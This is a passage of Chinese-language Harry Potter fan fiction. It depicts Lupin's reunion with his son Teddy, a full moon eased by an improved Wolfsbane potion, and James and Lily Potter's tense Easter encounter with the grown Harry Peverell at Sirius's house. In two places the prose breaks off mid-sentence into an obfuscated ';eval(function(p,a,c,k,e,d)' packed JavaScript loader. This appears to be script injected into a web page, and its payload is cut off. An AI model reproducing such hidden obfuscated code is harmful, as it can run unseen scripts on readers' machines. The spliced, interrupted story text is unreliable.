“我等了好久,爸爸。做梦都想见到你。”泰迪把脸贴在他的袍子上,声音闷闷的,“可是你一直躲着我。我知道你有自己的理由,哈利说你是担心会伤害我。可是爸爸,比起你变成什么样子,我更怕的是再也见不到你。” 卢平的眼泪终于夺眶而出。这一刻,所有的顾虑都土崩瓦解。他抱紧怀里瘦小的身体,感受着那小小身体传来的温暖——这是他这个糟糕人生中能得到的最珍贵的礼物。 “我在这里。”他在泰迪耳边低语,声音因为泪水而模糊,“我在这里,泰迪。我哪儿也不去。” 泰迪抬起头,泪眼朦胧地看着他:“真的吗?” “真的。”卢平用袖子擦去泰迪脸上的泪痕,“我保证。” 他们就这样抱了很久。直到汤彻底凉了,面包也硬了,可谁都不在乎。此刻,没有什么比这个拥抱更重要。 终于,泰迪抽了抽鼻子,有些不好意思地从卢平怀里退出来:“汤都凉了。” “我去热一下。”卢平站起身,揉了揉泰迪的头发。 “爸爸,”泰迪叫住他,“你喜欢吃巧克力吗?” 卢平回过头,看到泰迪期待的眼神,忍不住笑了:“非常喜欢。” “太好了!”泰迪的头发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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卢平也跟着站起身,朝他们望去,然后敏锐地注意到哈利和小天狼星的眼睛都有些发红。他心里一动,若有所思地看着这两个人。他们离开时气氛还算轻松,但小天狼星对哈利那种小心翼翼的态度,卢平都看在眼里。而现在,他们之间的亲近此刻多了一种坦然与轻松,好像解开了什么心结。不过,他没多问。这是他们教父子之间的事,他相信他们能自己处理好。 卢平为三人安排了房间,接下来的两天,便在他们的陪伴下,度过满月前那段往往最难熬的时光。 泰迪俨然成了卢平服药的“小监工”,像个小闹钟一样,准时准点地提醒他服用改良版狼毒药剂,还一本正经地观察他的反应,连卢平皱一下眉头都不放过,用小本子仔仔细细地记下来。“回去后我得把这些交给西弗研究,”他认真地说。小天狼星每次听了这话,总会撇撇嘴,却没再多说什么。 药剂的效果出奇地好。往常满月前,卢平的手会不自觉地颤抖,骨头里像有蚂蚁在爬,甚至早早就出现了狼的特征。这次,那些症状都减轻了。他能正常地端起茶杯,能安稳地坐在椅子上听泰迪讲霍格沃茨的事,偶尔还会和哈利、小天狼星回忆当年在霍格沃兹时的日子。 “你们那次让盔甲唱圣诞歌,真是把麦格教授气得够呛。”卢平说,语气里满是怀念。 “值了!”小天狼星坏笑着,“她那表情我一辈子忘不了。” 哈利趁着空闲,便也讲了些泰迪小时候的趣事。 “泰迪才一岁多的时候,”他绘声绘色地描述道,“有那么一回,他不肯好好吃饭,头发‘呼’地一下就全变成了火红色,像顶着一团小火苗!安多米达那时正喂他苹果泥,吓得手里的勺子都掉在了地上。结果这小家伙倒好,看见她那副吃惊的样子,反倒乐得咯咯笑。头发还只变回一半——一边红,一边棕,就顶着那滑稽模样满屋子跑了好几天,谁劝都不管用。” 泰迪捂着嘴笑得停不下来:“我真干过这事儿?我怎么一点儿都不记得了!” 哈利也乐了,又接着说:“还有一件,是他四岁,刚搬来跟我一起住那会儿。有天我在书房弄那些傲罗司的报告,一抬头,你们猜我看到了什么?这小家伙安安静静在毯子上玩积木,可脸蛋不知什么时候变成了安多米达的样子!当时真把我吓了一跳,羽毛笔都差点儿给掰断了!我知道他是太想安多米达,可那场面实在太逗了,最后我哄了好半天,他才变回来。” 泰迪自己早忘了这些事,如今听哈利讲得活灵活现,觉得又新奇又好玩,笑得前仰后合。卢平在一旁静静听着,眼角眉梢都带着笑意,仿佛那些错过的时光,正随着这些温馨的小故事,一点一滴地被重新填满。 转眼就到了满月当天中午,哈利、小天狼星和泰迪一起,看着卢平喝下了第三剂、也是最后一剂改良版狼毒药剂。 随后,他们陪着卢平和准备以阿尼马格斯形态陪伴他的小天狼星,往地下室走去。那是一间专为变形期准备的空间,被卢平半开玩笑地称作“狼穴”。 就在厚重的铁门即将关上的那一刻,小天狼星探出头,对着门外小脸紧绷、满眼担忧的泰迪挤出一个大大的笑:“别担心,小家伙!我会看好你爸爸的!”他扭头瞥了哈利一眼,“说实话,如果那药剂真的那么该死的有效,我以后见到斯内普……就不叫他鼻涕精了!”说到最后,他皱了皱鼻子,像是光这想法就让他浑身不自在。 哈利忍不住翻了个大大的白眼,低声嘀咕:“小天狼星,你比‘另一个你’幼稚多了。” 小天狼星听了这话,爆发出一阵大笑。他用力拍了拍卢平的肩膀,两人并肩走进昏暗的地下室。铁门缓缓合上,发出“哐”的一声闷响,随即一道淡蓝色的魔法光芒在门缝间闪过,封住了入口。 哈利和泰迪站在门前,静静地看了片刻。哈利伸出手,轻轻揉了揉泰迪的头发:“走吧,泰迪,我们去起居室等。小天狼星会照顾好莱姆斯的。” 泰迪目不转睛地盯着铁门,用力地点了点头。 —————— 他们在起居室里安静地等待着,时间一分一秒地流逝。窗外的天空渐渐染上墨蓝色,一轮明亮的满月高挂夜空。泰迪紧紧抓住哈利的衣袖,耳朵竖着,想捕捉任何来自地下室的声音。 然而,屋里静得出奇。除了窗外偶尔传来几声猫头鹰单调而悠长的咕咕叫声,再没有其他任何声音。没有狼人的嚎叫声,也没有撞击铁门的巨响。 “哈利,这是个好迹象吗?”泰迪小声地问哈利,手指绞在了一起。哈利点了点头,轻声安慰他:“至少说明,没有发生我们最担心的失控现象。” 可他们还没来得及松口气,地下室那边突然传来几声响亮又急促的狗叫。 是小天狼星!难道发生了什么意外?莱姆斯失控了? 哈利和泰迪心中同时一紧,双双从椅子上站了起来。哈利立刻伸手拦住急得要冲下去的泰迪,本想让他待在楼上,可看到他眼里那股倔强,只好叹了口气,把他护在身后。 “跟紧我,泰迪,不管发生什么,都不要离开我身边。”哈利低声叮嘱道。 他抽出魔杖紧紧握在手中,神经高度紧绷,带着泰迪一步步谨慎地向地下室的楼梯口移动。他一边走,一边飞快地思考着各种可能的应对方案:如果小天狼星也无法阻止失控的莱姆斯,那他必须想办法,至少要用昏迷咒或者全身束缚咒将莱姆斯制服,先安全度过这两天最危险的变形期再说…… 脑子里那些念头还没想完,他们已走到那扇厚重的铁门前。让两人吃惊的是,那扇本应彻底锁死的坚固铁门,此刻竟然是虚掩着的,露出一条不大的缝隙! 一只体型硕大的黑色大狗——正是阿尼马格斯形态的小天狼星——正蹲在门口等着他们,看上去神态轻松,甚至还对着他们友好地摇了摇尾巴,完全不像有经历过什么紧急情况的样子。见哈利和泰迪过来,黑狗往旁挪了挪,用鼻子拱了拱门,示意他们进去。 哈利和泰迪对视一眼,满心疑惑,却还是小心迈进了门内。 紧接着,他们便目睹了令他们永生难忘的一幕——一头狼缓缓从小天狼星身后走了出来。它的毛发是浅棕色的,与卢平的头发颜色相近,一根根精神抖擞地竖立着,在昏暗的灯光下形成毛茸茸的轮廓。 它的体型比想象中凶猛的狼人要略微纤细一些,更接近森林中常见的野狼。最重要的是,那双眼睛——不再是失去理智的黄色兽瞳,而是清明温和地注视着眼前的两个人。那眼神中依然保有人类的智慧和情感,没有一丝疯狂或攻击的痕迹。 改良版狼毒药剂……成功了! 这是哈利脑海里蹦出的第一个念头。他甚至觉得,这比他记忆中原版药剂的效果还要好。原版的虽能让狼人在变形后保持安静,不至于伤人伤己,可服用者往往意识模糊,整晚都昏昏沉沉。 但随即,哈利就敏锐地察觉到了一丝不对劲。眼前的狼似乎过于“毛茸茸”了些,毛发蓬松得不太自然,像是被谁恶作剧般地用魔法吹了起来,全身的毛都炸开了。 小天狼星不知什么时候变回了人形,走到哈利和泰迪身边,肩膀不停地抖动,显然在憋笑:“哦,这个啊……我想,这可能是改良药剂的一点小小‘副作用’。它现在全身炸毛了,我试过了,怎么也顺不下来。我敢向梅林发誓,莱姆斯以前变形的时候,毛发虽然也浓密,但绝对不会像现在这样,像一只被惹恼了的蒲绒绒,还是超大号的那种。” 泰迪早已忘了紧张,从哈利身后慢慢走出来,一步一步地走向那头毛发蓬松、眼神温柔的狼,试探着伸出一只手。卢平——狼温顺地低下头,用毛茸茸的脑袋轻轻蹭了蹭泰迪的手心,喉咙里发出小奶狗撒娇似的“呜呜”声。 泰迪眼睛笑得眯了起来,壮着胆子伸出双臂,抱住狼的脖子,把脸贴在那柔软温暖的皮毛上:“爸爸,你的毛好软!”刚才还因紧张泛着浅绿的头发,此刻变成了耀眼的金黄色,像揉碎的阳光,在他发间欢快地闪烁着。 哈利扬起一边眉毛,忍住笑,看向一脸促狭的小天狼星,用眼神问这是怎么回事。 小天狼星耸耸肩,凑到哈利耳边小声道:“好像还有个‘副作用’。那些能吓跑禁林神奇生物的狼嚎没了。他现在的叫声——” 泰迪正轻轻梳理着那蓬松得有些可笑的毛发,狼舒服地眯起眼,喉咙里传出满足的呼噜声,还不时用毛茸茸的脑袋蹭蹭他的脸。 “你听,像刚出生的小狼崽,哼哼唧唧的,一点威慑力都没。刚才我就是被这声音逗乐了,才没憋住叫了几声。” 狼发出一声更大的呜咽,毛茸茸的尾巴轻轻摇了摇。 小天狼星再也忍不住,率先哈哈大笑起来。 哈利也跟着笑了起来,心里那些担忧和紧张,随着笑声,在这一刻彻底散了个干净。 100. 复活节的真相(上) 复活节的清晨,戈德里克山谷的波特家在一阵新生儿特有的哭闹声中苏醒过来。一个月大的小婴儿仿佛有用不完的活力,她的哭声夹杂着偶尔的咯咯笑声,像一串跳跃的音符,让这座沉寂已久的房子重新焕发生机。 莉莉站在料理台前,魔杖轻轻一挥,刚出炉的蜂蜜蛋糕便自动裹上了一层薄薄的羊皮纸。烤箱里,柠檬派正散发着诱人的焦糖香气,那是小天狼星最喜欢的口味。她一边忙碌,一边不自觉地哼起了一支轻快的曲子——这是她几个月来第一次这样轻松。 楼上传来詹姆斯翻箱倒柜的动静,伴随着一阵杂乱的响声。莉莉探出头,略带无奈地喊道:“詹姆斯!奶粉罐在第二个抽屉里,别再把衣柜翻得一团糟了!” 楼上立刻传来什么东西落地的闷响,紧接着是詹姆斯那略显狼狈的声音:“找到了!不过莉莉,你真要带五包尿布?我们又不是要把整个戈德里克山谷都打包带走——” 莉莉无奈地摇头,回去继续打包她烤好的蜂蜜蛋糕。黛西,他们一个月大的小女儿,此刻正躺在摇篮里,发出几声满足的咿呀声。自从他们的哈利去世后,这个家便长久地笼罩在沉重的悲伤之中。黛西的到来像一道突如其来的阳光,刺破了那片灰暗,让他们重新找回了生活的节奏。这将是黛西出生后他们第一次外出拜访朋友,莉莉希望一切顺利。 詹姆斯抱着一个鼓得快要炸开的大包从楼梯上下来,“亲爱的,我真的觉得带这么多东西有点夸张。我们只去大脚板家待一天!” “相信我,你会感激我的。”莉莉头也不抬,从烤箱里小心翼翼取出柠檬派,反驳道,“等黛西在你身上吐奶,而那家伙连块干净毛巾都翻不出来的时候。” 詹姆斯嘀咕着走到她身边:“这么多东西,他那破壁炉怕是得罢工!” 莉莉擦了擦手,走过去接过他手里的包,开始检查里面的物品,“湿巾带了吗?奶瓶呢?换洗衣服?哦,还有那个能播放催眠曲的小魔法摇铃,她最近很喜欢。” 詹姆斯一听,表情立刻变得心虚,眼神飘向别处。 “詹姆斯·波特!” “我这就去拿!”他转身就想溜,却被莉莉一把拽住胳膊。 “算了,我去。”她叹了口气,转身道,“你看着黛西,别让她闹。” 詹姆斯走到摇篮边,动作瞬间变得轻柔无比。他俯下身,用一根手指轻轻刮了刮女儿软乎乎的脸颊。黛西在睡梦中皱了皱小鼻子,缓缓睁开眼。 那是一双明亮的棕色眼睛,和詹姆斯如出一辙。 “嗨,小公主。”詹姆斯的声音瞬间变得无比温柔,之前的烦躁早已无影无踪,“看看谁醒了?是爸爸最漂亮的小女孩。” 黛西盯着他看了几秒,然后绽开一个笑容,嘴里发出一串银铃般的咯咯声。小手在空中挥了挥,精准地抓住了詹姆斯的手指,攥得紧紧的。 莉莉抱着满怀的婴儿用品回来时,正撞见这一幕。詹姆斯的眼眶微微泛红,目光里满是温柔。 “她笑起来真像你。”他低声说,嗓音有些沙哑。 莉莉走近,轻轻靠在他身旁:“除了眼睛。棕色的,像你。” 两人都沉默了一会儿。他们都知道彼此在想什么——如果那是哈利,他的眼睛会是莉莉那样的绿。 “好了,别偷懒,快把这些装好。”莉莉率先打破沉默,努力让语气轻快起来。 詹姆斯回过神,认命地叹了口气,接过她手里的东西,继续跟那个鼓囊囊的包较劲。 黛西却因为他离开,发出几声不满的咕哝。詹姆斯笑了,腾出一只手轻轻晃着摇篮:“好啦好啦,爸爸知道你不高兴。不过你得体谅我们,爸爸妈妈今天得去逮住一只撒谎的大脚板。” “别这么说他。”莉莉笑着嗔怪,将最后一个柠檬派用一条漂亮的丝带绑好,放进野餐篮。她顿了顿,又问:“你真觉得不用提前跟他说一声?虽然我知道他不会介意,可万一他真在忙什么呢?” “忙什么?”一提小天狼星,詹姆斯立刻来了精神。他哼了一声,语气里满是揶揄,“你没听他上次怎么跟我说的?‘复活节我要修房子,尖头叉子,别来烦我!’修房子?梅林的胡子,那家伙连‘修复如初’都念不利索!” 莉莉放下手中的活,转身看着他。詹姆斯的眼中有种她许久未见的兴奋。几个月以来,这样的神情在他脸上已成了稀客。 詹姆斯走过来,环住她的腰,低声在她耳边神秘兮兮地说:“我猜,莉莉,那家伙肯定有猫腻。上次他说有大事,结果是鼓捣那辆摩托车飞得更高。我打赌,这次又是啥见不得人的——比如偷偷迷上哪个女巫了。” 莉莉眼睛一亮,“你真的觉得他有女朋友了?” “除此之外还能是什么?”詹姆斯得意地挑眉,“你想想,上次他拒绝和我们一起过节是什么时候?从来没有!就算一个媚娃来邀请他喝茶,他都会先问能不能带上我们。” “你这比喻真糟糕。”莉莉扑哧一笑。 “但很形象,不是吗?”詹姆斯把下巴搁在她肩膀上,“我敢打赌,我们到了那里,会看到满屋子的鲜花和烛光晚餐准备。然后大脚板会红着脸介绍他的‘朋友’,支支吾吾地解释为什么要瞒着我们。” “如果真是这样,我们这样突然闯进去,会不会很不合适?” “正因为如此,我们才要去!”詹姆斯脸上露出恶作剧般的笑容,“想想他到时候的表情!而且,”他的语气变得认真一些,“如果他真的找到了合适的人,我想尽快认识她。” 莉莉眼中满是赞同:“那可太好了!我记得他以前在魔法部谈过的那几个……可都不太长久,没几个月就把他给甩了。大脚板单身太久了,要真有人能让他安定下来,真是再好不过。到时候要举办婚礼的话,我们一定要帮他好好筹办一下!你心里真的没有可能的人选?” 詹姆斯摊开手,做了个无奈的表情:“谁知道呢?最近魔法部忙得要命,我也没见他有认识什么新的女巫啊?不过没关系,我们过去不就知道了?准能把他那点小秘密给揪出来!” 莉莉被他的兴致感染,笑着点头:“行吧。但要是真撞上尴尬场面……” “那更好!”詹姆斯兴奋地搓手,“我可有的是他的糗事可以跟那位女士分享。比如七年级时他变成狗之后差点被麦格教授——” “詹姆斯!”莉莉笑着打断他,“别把人吓跑了。” 两人相视而笑。詹姆斯俯身抱起黛西,动作娴熟又温柔:“来,小公主,咱们该出发了。” “等等,”莉莉突然想起什么,“莱姆斯怎么办?要不要联系他?如果他愿意出门,也邀请他来大脚板家一起过节,或者我们回来后,去看看他也好。” 詹姆斯皱了皱眉,脸上的轻松笑意淡去了些许,沉吟片刻才说:“月初我派猫头鹰问过他,他说快满月了,感觉不太好,情绪也不太稳定,想一个人待着。现在满月刚过,你知道的,他这个时候还很虚弱。” “可他一直没来看过黛西。”莉莉也皱起眉头,“上个月她刚出生时也正好赶上满月,他身体不适我能理解。可到现在也一个月了,他只是寄了封信表达祝贺,送了那个魔法摇铃,这不像他。” 她若有所思地看着丈夫:“詹姆斯,莱姆斯是不是有什么心事?他最近的信总是很简短,说自己在忙着赶稿……” 詹姆斯避开她的目光:“他能有什么心事?你知道莱姆斯,他总是太有责任心,把自己绷得太紧。我们先去峡谷之屋吧。”他匆忙转移话题,“如果大脚板真有什么好消息,我再去把他接过来,也让月亮脸放松一下。" 莉莉点点头,“但愿他没事。”她从詹姆斯怀里接过黛西,亲了亲她柔软的小脸。 “好啦,咱们去瞧瞧小天狼星·布莱克先生到底在搞什么名堂。”詹姆斯把装满婴儿用品的袋子拎到壁炉旁,抓起一把飞路粉丢进壁炉,绿色火焰腾地蹿起。 “准备好见证大脚板人生中最尴尬的一刻了吗?”他朝莉莉挤挤眼。 “准备好了。”莉莉笑着回应,心里却默默加了一句:“希望场面别太失控,不然可就难办了。” 她对詹姆斯俏皮地眨了眨眼,“我们出发吧。” —————— 绿色火焰渐渐熄灭,莉莉抱着黛西从壁炉中跨出。她轻轻拍着女儿的后背,柔声安抚,确保飞路旅行的颠簸没让小家伙不舒服。黛西只是皱了皱小鼻子,发出一声软糯的哼唧,便又安静下来。 “我们到了,宝贝。”莉莉轻声说着,这才抬起头打量四周。 眼前的景象让她微微一怔。 这还是小天狼星那个乱糟糟的家吗?起居室里空无一人,却被装点得焕然一新。壁炉架上摆满了花花绿绿的复活节彩蛋,墙上挂着五颜六色的彩带,角落里一个硕大的篮子装满了糖果和巧克力兔子,有一只的耳朵已经掉了,孤零零地躺在旁边。 “哦,小天狼星。”莉莉忍不住摇头,嘴角的笑意更深了。她走近壁炉架,伸手扶正一个快要滚下来的彩蛋,脑海中浮现出有趣的画面:一个温柔耐心的女巫站在梯子上,手持魔杖指挥着小天狼星挂彩带,而他却手忙脚乱,连个蝴蝶结都系得歪七扭八,只能挠头傻笑。 “看来你爸爸没猜错,黛西。”她低头对怀里的婴儿柔声道,“也许我们很快就能参加小天狼星的婚礼了?” 外面传来了一阵脚步声。莉莉转过身,脸上挂着期待的笑,准备迎接小天狼星和他的“神秘女友”。然而,出现在门口的却是一个完全出乎意料的身影。 “莉莉?”莱姆斯·卢平站在那儿,脸上写满了惊讶,”你怎么来了? “莱姆斯!”莉莉的惊讶丝毫不亚于他,“你怎么——我以为你身体不舒服?詹姆斯说你不来过节。”她可完全没想到所谓的“神秘女友”居然是卢平。这又有什么好瞒着他们的呢? 两人对视片刻。卢平的脸色确实有些苍白,那是满月刚过的痕迹,但他眼神清亮,精神状态比她预想的好得多。 “我……小天狼星硬拉我来散散心。”卢平的解释听起来合理,但莉莉总觉得他有点回避自己的目光。 莉莉正想追问,门外突然传来一个清脆又充满活力的声音:“爸爸!你找到那颗彩蛋了吗?快来帮我一下!” 爸爸? 莉莉心想自己一定是听错了。 一个顶着耀眼金发的男孩冲进房间,脸上洋溢着寻宝游戏的兴奋劲儿。可当他瞥见莉莉和她怀中的婴儿时,猛地刹住了脚步。“波特……夫人?”他迟疑地喊了一声,求助似的看向卢平,头上的金发以肉眼可见的速度褪成不安的浅绿色。 莉莉一眼认出了他——泰迪·卢平。虽然只见过几次,但那头随心变色的头发实在太特别,令人过目难忘。他是她已故儿子哈利的同学兼好友,也是那位哈利·佩弗利尔教授的教子。可这些都不是重点,重点是那声“爸爸”。 她的大脑飞速运转,试图理解眼前这个荒诞的谜题。 “莉莉,我——”卢平刚开口想解释,却被壁炉里突然爆发的绿色火焰打断了。 詹姆斯从飞路网中钻了出来,手里拎着大包小包,嘴里还在抱怨:“梅林的胡子,这些东西差点把我卡在壁炉里!”他抬头一看,目光被屋里花哨的装饰吸引,眼睛顿时亮了起来,“我就说嘛!看看这些,我敢打赌——” 话说到这里戛然而止。 詹姆斯看到了卢平,也看到了泰迪。 莉莉清楚地看到丈夫脸上的变化——那得意的神情仿佛被石化咒击中,逐渐僵硬,最终碎成一片震惊。他的手一松,包掉在地上,发出沉闷的声响。 “莱姆斯?”詹姆斯的声音听起来像是被什么哽住了。他的目光在卢平和泰迪之间来回扫视,带着几分不可置信,像是在确认什么可怕的事实。然后,他的脸上彻底失去了血色。 “詹姆斯。”卢平挤出一个勉强的笑,声音里透着无奈。 起居室陷入一片诡异的死寂,没有人敢打破这令人窒息的沉默。这时,小天狼星欢快的声音从花园方向传来:“月亮脸!泰迪!我又找到两颗彩蛋!哈利可真会藏——” 他大笑着跨进门口,手里一上一下地抛着两颗彩蛋。但在看到壁炉前的詹姆斯和莉莉时,他的笑容瞬间凝固,被抛到空中的彩蛋“啪嗒”一声掉在了地上,一个骨碌碌滚到莉莉脚边,另一个撞在茶几腿上,碎得四分五裂,露出里面的巧克力。 “尖……尖头叉子!莉莉!”小天狼星的声音尖得几乎破音,“你……你们怎么来了?”他一个箭步冲上前,狠狠抱了詹姆斯一下,然后转向莉莉,手足无措地点头,脸上挤出一个比哭还难看的笑,“不……不是,我的意思是……你们怎么不提前说一声呢?怎么不叫我过去接你们?” 他几乎是连推带拉地把詹姆斯往沙发那边弄,嘴里喋喋不休:“快,快坐下!别嫌乱啊!我们在找彩蛋,复活节传统,可好玩了!你们肯定喜欢——” 詹姆斯冷冷地打断他,“大脚板,闭嘴。” 小天狼星立刻噤声,脸上一阵红一阵白。他慌乱地转向桌子,想从复活节篮子里抓把糖果,手却抖得厉害,一把掀翻了整个篮子。糖果和巧克力兔子哗啦啦洒了一地,场面一片狼藉。 “哦,见鬼——不,我是说——”他立刻蹲下去,手忙脚乱地捡拾。 “糖果飞来。”莉莉轻叹一声,抽出魔杖。 散落满地的糖果立刻像听话的小精灵般飞起,整整齐齐地落回篮子里。小天狼星僵在那里,保持着半跪的姿势,手里还攥着两颗太妃糖。 “谢谢。”他的声音小得几乎听不见,慢慢站起身,依然不敢看任何人的眼睛。 莉莉从未见过小天狼星这般失态。她认识他多年,知道他能在生死关头谈笑风生,可此刻,他活像个闯祸被抓现行的小孩,每一个动作都透着掩不住的心虚。 莉莉环顾四周,每个人的反应都让她不安。卢平站在原地,脸上带着一种认命般的无奈。泰迪缩在莱姆斯身后,只露出一双不安的眼睛,偷偷打量着这群大人。而詹姆斯,他的目光始终狠狠地瞪着小天狼星,平日里的戏谑早已荡然无存,神情中满含着压抑的怒火和质问。 众人的表情落在莉莉的眼中,拼凑成一幅她看不懂的图画。每个人似乎都藏着她不知道的秘密,每个人都在小心翼翼地绕过某个禁区。 就在这时,最后一块拼图出现了。其实莉莉心中早有预感,而当那个身影真正出现在门口时,她还是不自觉地屏住了呼吸。 “小天狼星,我把剩下的彩蛋都收起来了,泰迪赢了这一轮——” 哈利·佩弗利尔出现在门口,手里还拿着一个装满彩蛋的小篮子。阳光从他身后的窗户洒进来,在他黑发上镀了一层淡淡的金边。 他的话音在看清室内情景时停住了。 那双绿眼睛缓缓扫过每个人的脸。在詹姆斯那里停留得最短,几乎是立刻移开,然后是表情慌乱的小天狼星,以及站在稍远处的卢平和泰迪。 最后,他的目光落在了莉莉身上,准确地说,是她怀中的黛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“是这个吗?”他的声音很轻。 房间里有一瞬间的静默。詹姆斯的手停在半空,小天狼星屏住了呼吸。 莉莉抬头看着这个年轻人。他站在不远不近的地方,保持着恰到好处的距离,那双绿眼睛里藏着一种小心翼翼的柔软。 “谢谢。”她伸手接过摇铃,指尖无意间触碰到他的手。 那一刻,她感觉到他的指尖微微一颤,像被烫到般迅速缩回。 莉莉低头轻轻摇起铃铛,清脆的音符在空气中飘荡。黛西的哭声渐渐平息,棕色的眼睛好奇地打量着这些围着她转的大人们。 大家都松了口气。“来,都坐下吧,都坐下。”小天狼星还在努力扮演主人的角色,尽管脸上的笑容还是僵硬的,“呃……天气不错,不是吗?花园里的地精最近特别活跃……” 气氛稍稍缓和了一些。众人松了口气,各自在起居室里找地方坐下。莉莉抱着黛西坐到沙发上,詹姆斯挨着她坐下——特意挑了个背对哈利的位置。 大家都坐定后,一种难以名状的紧张感却悄然弥漫开来。詹姆斯低头盯着自己的手,小天狼星不安地搓着手指,卢平在温和地注视着泰迪,而泰迪——这个刚才还在兴高采烈找彩蛋的男孩,现在安静得不像话。 只有哈利,他选了个最远的位置坐下,目光却始终黏在黛西身上,眼中有什么东西在闪烁。 片刻的沉默后,哈利轻声对莉莉说:“她真漂亮。长得很像你。” 黛西似乎听到了他的声音,转过小脸,睁着好奇的眼睛望向他。 “她叫什么名字?” “黛西。”莉莉回答,然后意识到应该说全名,“黛西·哈丽叶·波特。” 当这个名字说出口的瞬间,哈利的身体明显僵硬了一下。小天狼星立刻投来担忧的目光,连卢平的神情也变得复杂。 “黛西·哈丽叶·波特。很美的名字。”哈利低声重复了一遍,每个字都仿佛需要巨大的努力才能说出口。 莉莉的心脏一阵紧缩。哈丽叶——她选择这个中间名,是为了将她对逝去儿子的思念永远保留下来。可为什么,当这个名字从眼前的年轻人嘴里说出时,她会感到一股莫名的悲伤? 沉默再次笼罩房间,小天狼星清了清嗓子,试图打破僵局:“那个……谁想喝茶?我记得厨房里还有些饼干……” “我去泡。”哈利立刻站起来,像是抓住了逃离的机会。 “哈利。”泰迪从沙发上跳起来,“我也来帮忙!” 男孩跑到哈利身边,自然地拽住他的袖子。那简单的动作让哈利紧绷的肩膀微微松弛,他低头看着泰迪,眼神柔和下来。 “好。”他轻轻揉了揉男孩的头发,“先去洗手。” 两人消失在厨房门后,起居室的空气却又沉了下去。小天狼星在沙发上扭来扭去,几次张嘴想说话,都被詹姆斯一个眼神瞪了回去。 “莉莉,”卢平轻声打破沉默,“我一直没机会问,为什么给她取名叫黛西?有什么含义吗?” 莉莉的脸上浮现出温柔的笑容:“她出生那天,整个山谷都是星星点点的白色小花。”她轻抚着女儿的脸颊,“明明是那么冷的早春,它们却开得那么灿烂。我希望她也能像雏菊一样——简单、纯真,但又充满生命力。" “都一个多月了。”她的声音变得更轻柔,“感觉就像昨天的事,可她已经长大了这么多。” 厨房里传来瓷器碰撞的脆响,接着是什么东西落地的声音。 “没事!是盘子摔了!”泰迪的声音立刻响起,“哈利已经修好了!” 接着是低低的交谈声,然后是泰迪清脆的笑声。那笑声打破了房间里的沉闷,让人心里不由一暖。 哈利和泰迪端着茶盘回来,将茶杯分给众人。哈利递茶给莉莉时,黛西的小手突然抓住了他的袖口。 “哦——”哈利轻轻抽回手,但黛西不肯放开。 黛西睁着那双棕色的眼睛——这是她唯一不太像莉莉的地方,一直盯着哈利不放。 然后,出人意料的一幕发生了。黛西挥着小手,精准地指向哈利,嘴里发出欢快的“啊啊”声,小身子向前倾,像是要挣脱莉莉的怀抱扑向他。 所有人都看向她。 “她好像想要你抱。”泰迪小声说,随即意识到什么,慌忙捂住嘴,眼睛瞪得圆圆的。 哈利僵在原地,目光在黛西的小脸上停留,眼中闪过太多情绪,好像极度渴望着什么,却又不敢去碰触。他的手微微抬起,又迟疑地停在半空。 “我……”他开口,声音有些沙哑。他看向莉莉,像在无声地询问。 “黛西该睡午觉了。”詹姆斯突然站起来,声音生硬得像是被迫挤出来的。他大步走到莉莉身前,伸手接过女儿——动作依然轻柔,脸色却冷得吓人。 他抱着女儿转身就走,可黛西不乐意了。她扭着小身子,固执地朝哈利伸手,嘴里发出不满的呜咽。 “詹姆斯。”莉莉的声音带着明显的警告。她几乎不敢相信詹姆斯态度这么粗暴——他从来都是个温柔的父亲。 詹姆斯停下脚步,冷冷地说,“她需要安静的环境。”他面无表情地瞥了小天狼星一眼,语气更硬,”大脚板,帮我把婴儿床翻出来,顺便看看有没有干净的毯子。 “大脚板”三个字被他咬得格外用力,像是在提醒小天狼星什么。 小天狼星几乎是跳起来,连声应道:“哦!好!我马上去!婴儿床……我记得我收到地下室了,应该还能用!” 他匆忙跑向地下室的方向,半途回头看了哈利一眼,眼神里满是担忧。莉莉顺着他的目光看去,哈利已垂下眼帘,默默坐回了自己的位置上。 詹姆斯抱着哭得更响的黛西快步上楼,脚步急促,像在逃离什么。从始至终,他都没有看哈利一眼。 101. 复活节的真相(下) 詹姆斯轻手轻脚地关上房门,确保黛西不会被吵醒。门刚一关上,他就猛地转身,一把揪住了小天狼星的前襟,几乎是将他半拖半拽地扯进旁边的房间,反手将门甩上。 “你这个该死的混蛋!”他背对着房门,嗓音压得很低,每一个字都裹着怒火,“你骗了我们多久?两个月?三个月?从什么时候开始的?” 小天狼星没挣扎,任由詹姆斯抓着自己的衣领。他的灰眼睛里闪过一丝愧疚,但更多的是疲惫:“詹姆斯,听我说——” “听你说什么?”詹姆斯的手抖得厉害,“解释为什么要骗我?告诉我为什么连莱姆斯都知道,连他都跟那孩子相认了,而我却像个傻瓜一样被蒙在鼓里?” 他松开小天狼星,双手在空中挥舞着,声音越来越激动:“我以为——我以为我终于能喘口气了。黛西出生,莉莉在笑,家里又有了生气。可你呢?你偏偏要在这个时候把他带来!” “我把他带来?你以为见不到人,问题就不存在了吗?”小天狼星终于忍不住回击,“詹姆斯,你清醒一点!你要把自己缩在壳里多久?你知道你这几个月是什么样子吗?像个行尸走肉!直到黛西出生,你才稍微有了点人样!” “那又怎样?”詹姆斯冷笑,“至少我没有背着你偷偷安排你的生活!” “我没有安排!我只是在帮你面对现实!”小天狼星的声音也提高了。但他下意识地瞥了一眼房门的方向,立刻又压低下来,咬牙道,“别否认,詹姆斯。我看得出来,每次提到他,你就开始退缩。你一直在逃避!” 詹姆斯的脸色变得惨白,他后退一步,背撞在墙上。 “逃避?”他垂下眼,低声道,“你知道吗,大脚板?我这辈子从没逃避过任何事。面对伏地魔的时候没有,被预言点名的时候没有,甚至——”他停顿了一下,喉结上下动了动,“甚至抱着我儿子的尸体时都没有。” 小天狼星愣住了。 “可是现在,”詹姆斯抬起头,眼眶通红,“我看见他,看见那个长大了的哈利,我就忍不住想,如果我能再强大一点,如果我能真正保护好他们——” 他拳头死死攥紧:“在另一个世界,我死了,留他一个人面对一切。在这个世界,我活着,却还是没能让他活下去。” “每次看到他,我看到的不是我还有个活着的儿子,而是我彻头彻尾的失败。”他话语哽咽,“一次又一次的失败。” 